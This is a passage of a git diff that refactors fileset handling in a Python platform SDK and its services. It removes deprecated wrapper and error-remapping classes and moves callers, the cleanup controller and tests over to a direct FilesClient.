"_async_cls", None) or AsyncFilesClient - transport = _detect_async_transport(client._http) - return async_cls( + return AsyncFilesClient( base_url=client.base_url, workspace=client.workspace, auth=client._auth, diff --git a/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py b/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py index 231b238328..bfd56befd3 100644 --- a/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py +++ b/sdk/python/nemo-platform/src/nemo_platform/filesets/resources.py @@ -12,23 +12,16 @@ from dataclasses import dataclass from functools import cached_property from pathlib import PurePath -from typing import Any, Protocol, runtime_checkable +from typing import Protocol, runtime_checkable -import nemo_platform from fsspec.callbacks import Callback from fsspec.core import has_magic -from nemo_platform_plugin.client.errors import NemoHTTPError -from nemo_platform_plugin.client.response import AsyncNemoPaginatedResponse, NemoPaginatedResponse from nemo_platform_plugin.files.client import AsyncFilesClient, FilesClient from nemo_platform_plugin.files.types import ( CacheStatus, CreateFilesetRequest, FilesetFileOutput, - FilesetMetadata, FilesetOutput, - FilesetPurpose, - StorageConfig, - UpdateFilesetRequest, ) from nemo_platform.filesets.filesystem.filesystem import ( @@ -38,85 +31,6 @@ ) -def _build_error_map() -> dict[type[NemoHTTPError], type[nemo_platform.APIStatusError]]: - """Build a mapping from NemoClient errors to Stainless SDK errors. - - Lazy import to avoid hard-coding the Stainless error classes at module level. - This mapping is temporary — remove when all consumers import errors from - nemo_platform_plugin.client.errors instead of nemo_platform (AIRCORE-840). - """ - from nemo_platform_plugin.client import errors - - return { - errors.BadRequestError: nemo_platform.BadRequestError, - errors.AuthenticationError: nemo_platform.AuthenticationError, - errors.PermissionDeniedError: nemo_platform.PermissionDeniedError, - errors.NotFoundError: nemo_platform.NotFoundError, - errors.ConflictError: nemo_platform.ConflictError, - errors.UnprocessableEntityError: nemo_platform.UnprocessableEntityError, - errors.RateLimitError: nemo_platform.RateLimitError, - errors.InternalServerError: nemo_platform.InternalServerError, - } - - -_ERROR_MAP: dict[type[NemoHTTPError], type[nemo_platform.APIStatusError]] | None = None - - -def _get_error_map() -> dict[type[NemoHTTPError], type[nemo_platform.APIStatusError]]: - global _ERROR_MAP - if _ERROR_MAP is None: - _ERROR_MAP = _build_error_map() - return _ERROR_MAP - - -def _raise_as_stainless(e: NemoHTTPError) -> None: - """Re-raise a NemoClient error as its Stainless SDK equivalent. - - Preserves backward compatibility for consumers that catch - ``nemo_platform.NotFoundError`` etc. Remove with AIRCORE-840. - """ - error_map = _get_error_map() - stainless_cls = error_map.get(type(e)) - if stainless_cls is not None: - raise stainless_cls( - message=str(e), - response=e.http_response, - body=e.body, - ) from e - raise - - -class _RemappingFilesClient(FilesClient): - """FilesClient that re-raises NemoClient errors as Stainless SDK errors. - - Wraps ``send()`` so ALL operations through this client (filesets, files, - fsspec) raise Stainless-compatible exceptions. Remove with AIRCORE-840. - """ - - # Used by FilesetFileSystem._ensure_async to create the matching async - # remapping client when converting sync → async. - _async_cls: type[AsyncFilesClient] | None = None - - def send(self, request, *, headers=None, retry=None): # type: ignore[override] - try: - return super().send(request, headers=headers, retry=retry) - except NemoHTTPError as e: - _raise_as_stainless(e) - - -class _RemappingAsyncFilesClient(AsyncFilesClient): - """AsyncFilesClient that re-raises NemoClient errors as Stainless SDK errors.""" - - async def send(self, request, *, headers=None, retry=None): # type: ignore[override] - try: - return await super().send(request, headers=headers, retry=retry) - except NemoHTTPError as e: - _raise_as_stainless(e) - - -_RemappingFilesClient._async_cls = _RemappingAsyncFilesClient - - @dataclass class ListFilesResponse: """Response from listing files in a fileset. @@ -216,199 +130,6 @@ def _matches_glob(filepath: str, pattern: str) -> bool: return PurePath(filepath).match(pattern) -class FilesetsSubResource: - """Fileset CRUD operations (create, retrieve, update, list, delete). - - Wraps ``FilesClient`` methods with higher-level convenience signatures - (unwrapped params, ``exist_ok`` support). - - .. deprecated:: - Temporary shim for the ``sdk.files`` fileset interface. - New code should use ``FilesClient`` directly. - Once all callers are migrated, this class will be removed. - """ - - def __init__(self, client: FilesClient) -> None: - self._client = client - - def create( - self, - *, - name: str, - workspace: str | None = None, - exist_ok: bool = False, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - storage: StorageConfig | None = None, - custom_fields: dict[str, Any] | None = None, - cache: bool = False, - ) -> FilesetOutput: - body = CreateFilesetRequest( - name=name, - description=description, - project=project, - purpose=purpose or FilesetPurpose.GENERIC, - metadata=metadata or FilesetMetadata(), - storage=storage, - custom_fields=custom_fields or {}, - cache=cache, - ) - return self._client.create_fileset(workspace=workspace, body=body, exist_ok=exist_ok).data() - - def retrieve(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return self._client.get_fileset(workspace=workspace, name=name).data() - - def update( - self, - name: str, - *, - workspace: str | None = None, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - custom_fields: dict[str, Any] | None = None, - timeout: float | None = None, - ) -> FilesetOutput: - # Only include explicitly provided fields so exclude_unset works correctly - kwargs = { - k: v - for k, v in dict( - description=description, - project=project, - purpose=purpose, - metadata=metadata, - custom_fields=custom_fields, - ).items() - if v is not None - } - body = UpdateFilesetRequest(**kwargs) - client = self._client.with_options(timeout=timeout) if timeout is not None else self._client - return client.update_fileset(workspace=workspace, name=name, body=body).data() - - def list( - self, - *, - workspace: str | None = None, - page: int | None = None, - page_size: int | None = None, - sort: str | None = None, - filter: str | dict | None = None, - ) -> NemoPaginatedResponse[FilesetOutput]: - query_params = { - k: v - for k, v in dict( - page=page, - page_size=page_size, - sort=sort, - filter=filter, - ).items() - if v is not None - } - return self._client.list_filesets(workspace=workspace, query_params=query_params or None) - - def delete(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return self._client.delete_fileset(workspace=workspace, name=name).data() - - -class AsyncFilesetsSubResource: - """Async fileset CRUD operations (create, retrieve, update, list, delete). - - Wraps ``AsyncFilesClient`` methods with higher-level convenience signatures - (unwrapped params, ``exist_ok`` support). - - .. deprecated:: - Temporary shim for the ``sdk.files`` fileset interface. - New code should use ``AsyncFilesClient`` directly. - Once all callers are migrated, this class will be removed. - """ - - def __init__(self, client: AsyncFilesClient) -> None: - self._client = client - - async def create( - self, - *, - name: str, - workspace: str | None = None, - exist_ok: bool = False, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - storage: StorageConfig | None = None, - custom_fields: dict[str, Any] | None = None, - cache: bool = False, - ) -> FilesetOutput: - body = CreateFilesetRequest( - name=name, - description=description, - project=project, - purpose=purpose or FilesetPurpose.GENERIC, - metadata=metadata or FilesetMetadata(), - storage=storage, - custom_fields=custom_fields or {}, - cache=cache, - ) - return (await self._client.create_fileset(workspace=workspace, body=body, exist_ok=exist_ok)).data() - - async def retrieve(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return (await self._client.get_fileset(workspace=workspace, name=name)).data() - - async def update( - self, - name: str, - *, - workspace: str | None = None, - description: str | None = None, - project: str | None = None, - purpose: FilesetPurpose | None = None, - metadata: FilesetMetadata | None = None, - custom_fields: dict[str, Any] | None = None, - timeout: float | None = None, - ) -> FilesetOutput: - kwargs = { - k: v - for k, v in dict( - description=description, - project=project, - purpose=purpose, - metadata=metadata, - custom_fields=custom_fields, - ).items() - if v is not None - } - body = UpdateFilesetRequest(**kwargs) - client = self._client.with_options(timeout=timeout) if timeout is not None else self._client - return (await client.update_fileset(workspace=workspace, name=name, body=body)).data() - - async def list( - self, - *, - workspace: str | None = None, - page: int | None = None, - page_size: int | None = None, - sort: str | None = None, - filter: str | dict | None = None, - ) -> AsyncNemoPaginatedResponse[FilesetOutput]: - query_params = { - k: v - for k, v in dict( - page=page, - page_size=page_size, - sort=sort, - filter=filter, - ).items() - if v is not None - } - return await self._client.list_filesets(workspace=workspace, query_params=query_params or None) - - async def delete(self, name: str, *, workspace: str | None = None) -> FilesetOutput: - return (await self._client.delete_fileset(workspace=workspace, name=name)).data() - - class FilesResource: """FilesResource with high-level file operations. @@ -419,12 +140,12 @@ class FilesResource: def __init__(self, client) -> None: from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, _RemappingFilesClient) + self._client = client_from_platform(client, FilesClient) @cached_property - def filesets(self) -> FilesetsSubResource: - """Access fileset CRUD operations (create, retrieve, update, list, delete).""" - return FilesetsSubResource(self._client) + def client(self) -> FilesClient: + """Access the underlying FilesClient for direct API calls.""" + return self._client @cached_property def fsspec(self) -> FilesetFileSystem: @@ -433,7 +154,11 @@ def fsspec(self) -> FilesetFileSystem: def _ensure_fileset_exists(self, workspace: str, fileset: str) -> None: """Create fileset if it doesn't exist (idempotent).""" - self.filesets.create(name=fileset, workspace=workspace, exist_ok=True) + self._client.create_fileset( + workspace=workspace, + body=CreateFilesetRequest(name=fileset), + exist_ok=True, + ) def download( self, @@ -650,7 +375,7 @@ def upload( kwargs["callback"] = callback self.fsspec.put(**kwargs) - return self.filesets.retrieve(name=fileset, workspace=ws) + return self._client.get_fileset(name=fileset, workspace=ws).data() def upload_content( self, @@ -751,7 +476,7 @@ def upload_content( case _: raise TypeError(f"Unsupported content type: {type(content)}") - return self.filesets.retrieve(name=fileset, workspace=ws) + return self._client.get_fileset(name=fileset, workspace=ws).data() def download_content( self, @@ -941,12 +666,12 @@ class AsyncFilesResource: def __init__(self, client) -> None: from nemo_platform_plugin.client.adapter import client_from_platform - self._client = client_from_platform(client, _RemappingAsyncFilesClient) + self._client = client_from_platform(client, AsyncFilesClient) @cached_property - def filesets(self) -> AsyncFilesetsSubResource: - """Access fileset CRUD operations (create, retrieve, update, list, delete).""" - return AsyncFilesetsSubResource(self._client) + def client(self) -> AsyncFilesClient: + """Access the underlying AsyncFilesClient for direct API calls.""" + return self._client @cached_property def fsspec(self) -> FilesetFileSystem: @@ -955,7 +680,11 @@ def fsspec(self) -> FilesetFileSystem: async def _ensure_fileset_exists(self, workspace: str, fileset: str) -> None: """Create fileset if it doesn't exist (idempotent).""" - await self.filesets.create(name=fileset, workspace=workspace, exist_ok=True) + await self._client.create_fileset( + workspace=workspace, + body=CreateFilesetRequest(name=fileset), + exist_ok=True, + ) async def download( self, @@ -1151,7 +880,7 @@ async def upload( kwargs["callback"] = callback await self.fsspec._put(**kwargs) - return await self.filesets.retrieve(name=fileset, workspace=ws) + return (await self._client.get_fileset(name=fileset, workspace=ws)).data() async def upload_content( self, @@ -1256,7 +985,7 @@ async def _read_chunks(f: AsyncReadable, chunk_size: int = 1024 * 1024) -> Async case _: raise TypeError(f"Unsupported content type: {type(content)}") - return await self.filesets.retrieve(name=fileset, workspace=ws) + return (await self._client.get_fileset(name=fileset, workspace=ws)).data() async def download_content( self, diff --git a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py index 76c5ef2665..6b279d8e32 100644 --- a/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py +++ b/sdk/python/nemo-platform/tests/vendored/nemo_platform_ext/cli/integration/test_filesets.py @@ -8,6 +8,9 @@ import pytest from nemo_platform import NeMoPlatform from nemo_platform.cli.app import app +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from ..utils import assert_exit_code from .conftest import NmpCliRunner @@ -16,7 +19,8 @@ @pytest.fixture def test_fileset(sdk: NeMoPlatform, random_workspace: str) -> dict: """Create a test fileset.""" - fileset = sdk.files.filesets.create(workspace=random_workspace, name="test-fileset") + files = client_from_platform(sdk, FilesClient) + fileset = files.create_fileset(body=CreateFilesetRequest(name="test-fileset"), workspace=random_workspace).data() return {"workspace": random_workspace, "name": fileset.name} @@ -138,7 +142,7 @@ def test_upload_to_nonexistent_fileset_fails( ) assert_exit_code(result, 1) - assert "Not found" in result.stderr + assert "not found" in result.stderr.lower() @pytest.mark.parametrize( ("remote_path", "expected_suffix"), @@ -196,10 +200,8 @@ def test_upload_without_fileset_auto_creates( fileset_name = match.group(1) # Verify fileset exists - fileset = runner.client.files.filesets.retrieve( - name=fileset_name, - workspace=random_workspace, - ) + files = client_from_platform(runner.client, FilesClient) + fileset = files.get_fileset(name=fileset_name, workspace=random_workspace).data() assert fileset.name == fileset_name # Verify file was uploaded @@ -222,7 +224,8 @@ def fileset_with_nested_files(sdk: NeMoPlatform, random_workspace: str, tmp_path file2.txt file3.txt """ - fileset = sdk.files.filesets.create(workspace=random_workspace, name="download-test-fileset") + files = client_from_platform(sdk, FilesClient) + fileset = files.create_fileset(body=CreateFilesetRequest(name="download-test-fileset"), workspace=random_workspace).data() # Create nested directory structure locally dir_a = tmp_path / "a" diff --git a/services/automodel/src/nmp/automodel/tasks/file_io/run.py b/services/automodel/src/nmp/automodel/tasks/file_io/run.py index 031197cdca..a738c099f9 100644 --- a/services/automodel/src/nmp/automodel/tasks/file_io/run.py +++ b/services/automodel/src/nmp/automodel/tasks/file_io/run.py @@ -23,12 +23,20 @@ from nemo_platform import ( APIConnectionError, APITimeoutError, - ConflictError, InternalServerError, NeMoPlatform, NotFoundError, ) from nemo_platform.types.files.fileset_file import FilesetFile +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import ( + ConflictError, +) +from nemo_platform_plugin.client.errors import ( + InternalServerError as FilesInternalServerError, +) +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, UpdateFilesetRequest from nmp.automodel.app.constants import SERVICE_NAME from nmp.automodel.tasks.file_io.callbacks import ( CompositeCallback, @@ -387,32 +395,38 @@ def create_fileset(self, fileset: FileSetRef, metadata: dict | None = None) -> N @retry( stop=stop_after_attempt(MAX_RETRIES), wait=wait_exponential(multiplier=2, min=INITIAL_BACKOFF_SECONDS, max=MAX_BACKOFF_SECONDS), - retry=retry_if_exception_type((InternalServerError, APITimeoutError, APIConnectionError)), - reraise=True, # means that the last exception will be re-raised after the last retry attempt + retry=retry_if_exception_type( + ( + InternalServerError, + APITimeoutError, + APIConnectionError, + FilesInternalServerError, + httpx.TimeoutException, + httpx.ConnectError, + ) + ), + reraise=True, ) def _create_fileset_with_retry(self, fileset: FileSetRef, metadata: dict | None = None) -> None: """Internal method with retry logic for creating a FileSet.""" + files = client_from_platform(self.sdk, FilesClient) try: - create_kwargs: dict = { - "workspace": fileset.workspace, + body_kwargs: dict = { "name": fileset.name, - "timeout": CREATE_FILESET_TIMEOUT, "custom_fields": {"service_source": "automodel"}, } if metadata is not None: - create_kwargs["metadata"] = metadata - result = self.sdk.with_options(max_retries=0).files.filesets.create(**create_kwargs) + body_kwargs["metadata"] = metadata + result = files.create_fileset(workspace=fileset.workspace, body=CreateFilesetRequest(**body_kwargs)).data() logger.info(f"Created FileSet: {result.workspace}/{result.name}") except ConflictError: - # Fileset already exists - patch metadata so tool_calling etc. are not lost workspace = fileset.workspace or self.job_ctx.workspace if metadata is not None: try: - self.sdk.with_options(max_retries=0).files.filesets.update( - name=fileset.name, + files.update_fileset( workspace=workspace, - metadata=metadata, - timeout=CREATE_FILESET_TIMEOUT, + name=fileset.name, + body=UpdateFilesetRequest(metadata=metadata), ) logger.info(f"Patched existing FileSet metadata: {workspace}/{fileset.name}") except Exception as e: diff --git a/services/automodel/src/nmp/automodel/tasks/model_entity/run.py b/services/automodel/src/nmp/automodel/tasks/model_entity/run.py index b50b604766..246992ff88 100644 --- a/services/automodel/src/nmp/automodel/tasks/model_entity/run.py +++ b/services/automodel/src/nmp/automodel/tasks/model_entity/run.py @@ -36,6 +36,8 @@ ) from nemo_platform.types.models import LoraParam, ModelEntity from nemo_platform.types.shared_params.tool_call_config import ToolCallConfig as ToolCallConfigParam +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient from nmp.automodel.app.constants import SERVICE_NAME from nmp.automodel.entities.values import FinetuningType from nmp.common.sdk_factory import get_task_sdk @@ -165,7 +167,9 @@ def create_model_entity(self, config: ModelEntityTaskConfig) -> tuple[dict, Mode logger.info(f"Validating fileset exists: {fileset_workspace}/{config.fileset.name}") try: - self.sdk.files.filesets.retrieve(workspace=fileset_workspace, name=config.fileset.name) + client_from_platform(self.sdk, FilesClient).get_fileset( + workspace=fileset_workspace, name=config.fileset.name + ) logger.info(f"Fileset validation successful: {fileset_workspace}/{config.fileset.name}") except Exception as e: logger.error(f"Fileset validation failed: {fileset_workspace}/{config.fileset.name}") diff --git a/services/automodel/tests/test_compiler.py b/services/automodel/tests/test_compiler.py index 7acac971e4..022da249c0 100644 --- a/services/automodel/tests/test_compiler.py +++ b/services/automodel/tests/test_compiler.py @@ -45,8 +45,6 @@ def mock_sdk(): side_effect=lambda name, workspace, verbose=True: _make_mock_model_entity(workspace=workspace, name=name), ) sdk.files = Mock() - sdk.files.filesets = Mock() - sdk.files.filesets.retrieve = AsyncMock(return_value=Mock()) return sdk diff --git a/services/core/entities/src/nmp/core/entities/controllers/workspace_cleanup.py b/services/core/entities/src/nmp/core/entities/controllers/workspace_cleanup.py index c0b4a91fd5..565283d600 100644 --- a/services/core/entities/src/nmp/core/entities/controllers/workspace_cleanup.py +++ b/services/core/entities/src/nmp/core/entities/controllers/workspace_cleanup.py @@ -7,6 +7,8 @@ from nemo_platform import AsyncNeMoPlatform from nemo_platform.types import PlatformJobStatus +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import AsyncFilesClient from nmp.common.api.filter import ComparisonOperation, FilterOperator from nmp.common.controller.controller import Controller from nmp.common.observability import start_span_with_ctx @@ -172,12 +174,13 @@ async def _cleanup_deployments(self, workspace: Workspace) -> None: async def _cleanup_filesets(self, workspace: Workspace) -> None: logger.info(f"Cleaning up filesets for workspace: {workspace.name}") try: - filesets_response = await self._nmp_sdk.files.filesets.list(workspace=workspace.name) + files = client_from_platform(self._nmp_sdk, AsyncFilesClient) + filesets_response = await files.list_filesets(workspace=workspace.name) async for fileset in filesets_response.items(): try: logger.info(f"Deleting fileset: {fileset.name}") - await self._nmp_sdk.files.filesets.delete( + await files.delete_fileset( name=fileset.name, workspace=workspace.name, ) diff --git a/services/core/entities/tests/controllers/test_workspace_cleanup.py b/services/core/entities/tests/controllers/test_workspace_cleanup.py index d5691bde54..e156ce6ec5 100644 --- a/services/core/entities/tests/controllers/test_workspace_cleanup.py +++ b/services/core/entities/tests/controllers/test_workspace_cleanup.py @@ -37,31 +37,42 @@ async def __anext__(self): raise StopAsyncIteration -class _MockPaginatedResponse: - """Mock for paginated responses that expose .items() for async iteration.""" +class _MockAsyncPaginatedResponse: + """Mock for AsyncNemoPaginatedResponse that exposes .items() as an async generator.""" def __init__(self, items): self._items = items - def items(self): - return _AsyncIterator(self._items) + async def items(self): + for item in self._items: + yield item + + +def _make_mock_files_client(filesets: list | None = None) -> AsyncMock: + """Build a mock AsyncFilesClient with list_filesets/delete_fileset.""" + mock_files = AsyncMock() + mock_files.list_filesets = AsyncMock(return_value=_MockAsyncPaginatedResponse(filesets or [])) + mock_files.delete_fileset = AsyncMock() + return mock_files def _make_sdk( jobs: list | None = None, deployments: list | None = None, filesets: list | None = None, -) -> MagicMock: - """Build a MagicMock SDK with async mocks wired to the correct paths.""" +) -> tuple[MagicMock, AsyncMock]: + """Build a MagicMock SDK with async mocks wired to the correct paths. + + Returns (sdk, mock_files_client) so tests can assert on files client calls. + """ sdk = MagicMock() sdk.jobs.list = AsyncMock(return_value=_AsyncIterator(jobs or [])) sdk.jobs.cancel = AsyncMock() sdk.jobs.delete = AsyncMock() sdk.inference.deployments.list = AsyncMock(return_value=_AsyncIterator(deployments or [])) sdk.inference.deployments.delete = AsyncMock() - sdk.files.filesets.list = AsyncMock(return_value=_MockPaginatedResponse(filesets or [])) - sdk.files.filesets.delete = AsyncMock() - return sdk + mock_files = _make_mock_files_client(filesets) + return sdk, mock_files def _make_job(name: str, status: str = "completed") -> MagicMock: @@ -86,6 +97,9 @@ def _make_controller( ) +_FILES_CLIENT_PATCH = "nmp.core.entities.controllers.workspace_cleanup.client_from_platform" + + class TestWorkspaceCleanupStep: def test_step_skips_when_stop_signal_set(self): import threading @@ -158,11 +172,12 @@ async def test_successful_workspace_deletion(self): sdk = MagicMock() sdk.jobs.list = AsyncMock(return_value=_AsyncIterator([])) sdk.inference.deployments.list = AsyncMock(return_value=_AsyncIterator([])) - sdk.files.filesets.list = AsyncMock(return_value=_MockPaginatedResponse([])) + mock_files = _make_mock_files_client([]) controller = _make_controller(workspace_repo=repo, nmp_sdk=sdk) - await controller._async_step() + with patch(_FILES_CLIENT_PATCH, return_value=mock_files): + await controller._async_step() repo.mark_workspace_for_deletion.assert_any_call( name="test-workspace", @@ -338,14 +353,13 @@ async def test_deletes_filesets(self): fileset = MagicMock() fileset.name = "test-fileset" - sdk = MagicMock() - sdk.files.filesets.list = AsyncMock(return_value=_MockPaginatedResponse([fileset])) - sdk.files.filesets.delete = AsyncMock() + mock_files = _make_mock_files_client([fileset]) + controller = _make_controller() - controller = _make_controller(nmp_sdk=sdk) - await controller._cleanup_filesets(workspace) + with patch(_FILES_CLIENT_PATCH, return_value=mock_files): + await controller._cleanup_filesets(workspace) - sdk.files.filesets.delete.assert_awaited_once_with( + mock_files.delete_fileset.assert_awaited_once_with( name="test-fileset", workspace="test-workspace", ) @@ -358,14 +372,14 @@ async def test_continues_on_individual_fileset_failure(self): fs2 = MagicMock() fs2.name = "fs2" - sdk = MagicMock() - sdk.files.filesets.list = AsyncMock(return_value=_MockPaginatedResponse([fs1, fs2])) - sdk.files.filesets.delete = AsyncMock(side_effect=[Exception("fail"), None]) + mock_files = _make_mock_files_client([fs1, fs2]) + mock_files.delete_fileset = AsyncMock(side_effect=[Exception("fail"), None]) + controller = _make_controller() - controller = _make_controller(nmp_sdk=sdk) - await controller._cleanup_filesets(workspace) + with patch(_FILES_CLIENT_PATCH, return_value=mock_files): + await controller._cleanup_filesets(workspace) - assert sdk.files.filesets.delete.await_count == 2 + assert mock_files.delete_fileset.await_count == 2 class TestJobCancellationBranches: @@ -374,7 +388,7 @@ class TestJobCancellationBranches: @pytest.mark.asyncio async def test_cancels_pending_jobs(self): workspace = _make_workspace() - sdk = _make_sdk(jobs=[_make_job("pending-job", status="pending")]) + sdk, _ = _make_sdk(jobs=[_make_job("pending-job", status="pending")]) controller = _make_controller(nmp_sdk=sdk) await controller._cleanup_jobs(workspace) @@ -385,7 +399,7 @@ async def test_cancels_pending_jobs(self): @pytest.mark.asyncio async def test_cancels_created_jobs(self): workspace = _make_workspace() - sdk = _make_sdk(jobs=[_make_job("created-job", status="created")]) + sdk, _ = _make_sdk(jobs=[_make_job("created-job", status="created")]) controller = _make_controller(nmp_sdk=sdk) await controller._cleanup_jobs(workspace) @@ -401,7 +415,7 @@ async def test_does_not_cancel_terminal_jobs(self): _make_job("failed", status="error"), _make_job("stopped", status="cancelled"), ] - sdk = _make_sdk(jobs=jobs) + sdk, _ = _make_sdk(jobs=jobs) controller = _make_controller(nmp_sdk=sdk) await controller._cleanup_jobs(workspace) @@ -413,7 +427,7 @@ async def test_does_not_cancel_terminal_jobs(self): async def test_cancel_failure_still_deletes(self): """Regression: cancel() throwing must not prevent delete().""" workspace = _make_workspace() - sdk = _make_sdk(jobs=[_make_job("flaky-job", status="active")]) + sdk, _ = _make_sdk(jobs=[_make_job("flaky-job", status="active")]) sdk.jobs.cancel = AsyncMock(side_effect=Exception("cancel failed")) controller = _make_controller(nmp_sdk=sdk) @@ -430,7 +444,7 @@ async def test_mixed_statuses(self): _make_job("done-job", status="completed"), _make_job("pending-job", status="pending"), ] - sdk = _make_sdk(jobs=jobs) + sdk, _ = _make_sdk(jobs=jobs) controller = _make_controller(nmp_sdk=sdk) await controller._cleanup_jobs(workspace) diff --git a/services/core/files/script/v2_migration.py b/services/core/files/script/v2_migration.py index faa6056cdd..68ab773f4a 100644 --- a/services/core/files/script/v2_migration.py +++ b/services/core/files/script/v2_migration.py @@ -45,6 +45,10 @@ from huggingface_hub import HfApi from nemo_platform import ConflictError, NeMoPlatform, NotFoundError +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NotFoundError as FilesNotFoundError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest logger = logging.getLogger(__name__) @@ -337,11 +341,12 @@ def _ensure_fileset( """ if dry_run: return "dry_run" + files = client_from_platform(sdk, FilesClient) try: - sdk.files.filesets.retrieve(name=fileset, workspace=workspace) + files.get_fileset(name=fileset, workspace=workspace) return "exists" - except NotFoundError: - sdk.files.filesets.create(name=fileset, workspace=workspace) + except FilesNotFoundError: + files.create_fileset(body=CreateFilesetRequest(name=fileset), workspace=workspace) return "created" @@ -552,8 +557,9 @@ def run_setup(args: argparse.Namespace) -> int: try: sdk = _get_files_sdk(cfg) + files = client_from_platform(sdk, FilesClient) # Lightweight Files API connectivity check against default workspace. - _ = next(iter(sdk.files.filesets.list(workspace="default", page_size=1)), None) + files.list_filesets(workspace="default") print(f" files service: OK (resolved base_url: {sdk.base_url}, check_workspace=default)") except Exception as exc: print(f" files service: FAIL ({exc})") diff --git a/services/core/files/src/nmp/core/files/testing/utils.py b/services/core/files/src/nmp/core/files/testing/utils.py index 0acce915ee..4b328ef7cf 100644 --- a/services/core/files/src/nmp/core/files/testing/utils.py +++ b/services/core/files/src/nmp/core/files/testing/utils.py @@ -12,7 +12,9 @@ import httpx from fsspec.spec import AbstractBufferedFile, AbstractFileSystem from nemo_platform import NeMoPlatform -from nemo_platform.types.files.fileset import Fileset +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest, FilesetOutput DEFAULT_WORKSPACE_ID = "default" @@ -109,15 +111,14 @@ def create_fileset( name: str | None = None, workspace: str = DEFAULT_WORKSPACE_ID, **kwargs, -) -> Iterator[Fileset]: +) -> Iterator[FilesetOutput]: if name is None: name = test_fileset_name() - fileset = sdk.files.filesets.create( + files = client_from_platform(sdk, FilesClient) + fileset = files.create_fileset( workspace=workspace, - name=name, - description="Test fileset", - **kwargs, - ) + body=CreateFilesetRequest(name=name, description="Test fileset", **kwargs), + ).data() yield fileset - sdk.files.filesets.delete(name, workspace=workspace) + files.delete_fileset(name, workspace=workspace) diff --git a/services/core/files/tests/integration/conftest.py b/services/core/files/tests/integration/conftest.py index 5ab932ad09..8c91018295 100644 --- a/services/core/files/tests/integration/conftest.py +++ b/services/core/files/tests/integration/conftest.py @@ -15,7 +15,9 @@ from fastapi import Request from fastapi.testclient import TestClient from nemo_platform import NeMoPlatform -from nemo_platform.types.files.fileset import Fileset +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import FilesetOutput from nmp.common.auth import AuthClient, get_auth_client from nmp.common.auth.models import Principal from nmp.common.config import AuthConfig @@ -141,7 +143,7 @@ def files_config() -> FilesConfig: @pytest.fixture -def fileset(sdk: NeMoPlatform) -> Iterator[Fileset]: +def fileset(sdk: NeMoPlatform) -> Iterator[FilesetOutput]: with create_fileset(sdk) as fileset: yield fileset @@ -165,9 +167,10 @@ def register(name: str, ws: str | None = None) -> None: yield register # Cleanup all registered filesets + files = client_from_platform(sdk, FilesClient) for name, ws in to_cleanup: try: - sdk.files.filesets.delete(name=name, workspace=ws) + files.delete_fileset(name=name, workspace=ws) except Exception: pass diff --git a/services/core/files/tests/integration/external_storage/test_huggingface_storage.py b/services/core/files/tests/integration/external_storage/test_huggingface_storage.py index c20b861b33..721e7b21bf 100644 --- a/services/core/files/tests/integration/external_storage/test_huggingface_storage.py +++ b/services/core/files/tests/integration/external_storage/test_huggingface_storage.py @@ -19,8 +19,12 @@ import pytest from huggingface_hub import snapshot_download -from nemo_platform import APIStatusError, NeMoPlatform +from nemo_platform import NeMoPlatform from nemo_platform.filesets import FilesetFileSystem +from nemo_platform_plugin.client.adapter import client_from_platform +from nemo_platform_plugin.client.errors import NemoHTTPError as FilesBadRequestError +from nemo_platform_plugin.files.client import FilesClient +from nemo_platform_plugin.files.types import CreateFilesetRequest from nmp.core.files.app.backends.base import StorageImpl from nmp.core.files.app.streaming import download_url_streaming from nmp.core.files.testing.utils import create_fileset @@ -49,10 +53,11 @@ def test_fileset_resolves_main_to_commit_sha(self, sdk: NeMoPlatform): }, ) as fileset: # Get the persisted fileset to check resolved values - persisted = sdk.files.filesets.retrieve( + files = client_from_platform(sdk, FilesClient) + persisted = files.get_fileset( name=fileset.name, workspace=fileset.workspace, - ) + ).data() storage = persisted.storage assert storage.type == "huggingface" @@ -87,10 +92,11 @@ def test_fileset_with_explicit_sha_preserves_both(self, sdk: NeMoPlatform): "revision": "main", }, ) as temp_fileset: - temp_persisted = sdk.files.filesets.retrieve( + files = client_from_platform(sdk, FilesClient) + temp_persisted = files.get_fileset( name=temp_fileset.name, workspace=temp_fileset.workspace, - ) + ).data() commit_sha = temp_persisted.storage.revision # Now create a fileset with the explicit SHA @@ -104,10 +110,10 @@ def test_fileset_with_explicit_sha_preserves_both(self, sdk: NeMoPlatform): "revision": commit_sha, # Explicit SHA }, ) as fileset: - persisted = sdk.files.filesets.retrieve( + persisted = files.get_fileset( name=fileset.name, workspace=fileset.workspace, - ) + ).data() storage = persisted.storage @@ -158,20 +164,23 @@ def test_gated_repo_fails_on_fileset_creation(self, sdk: NeMoPlatform): """ name = f"hf-test-{uuid.uuid4().hex[:8]}" - with pytest.raises(APIStatusError) as exc_info: - sdk.files.filesets.create( - name=name, + files = client_from_platform(sdk, FilesClient) + with 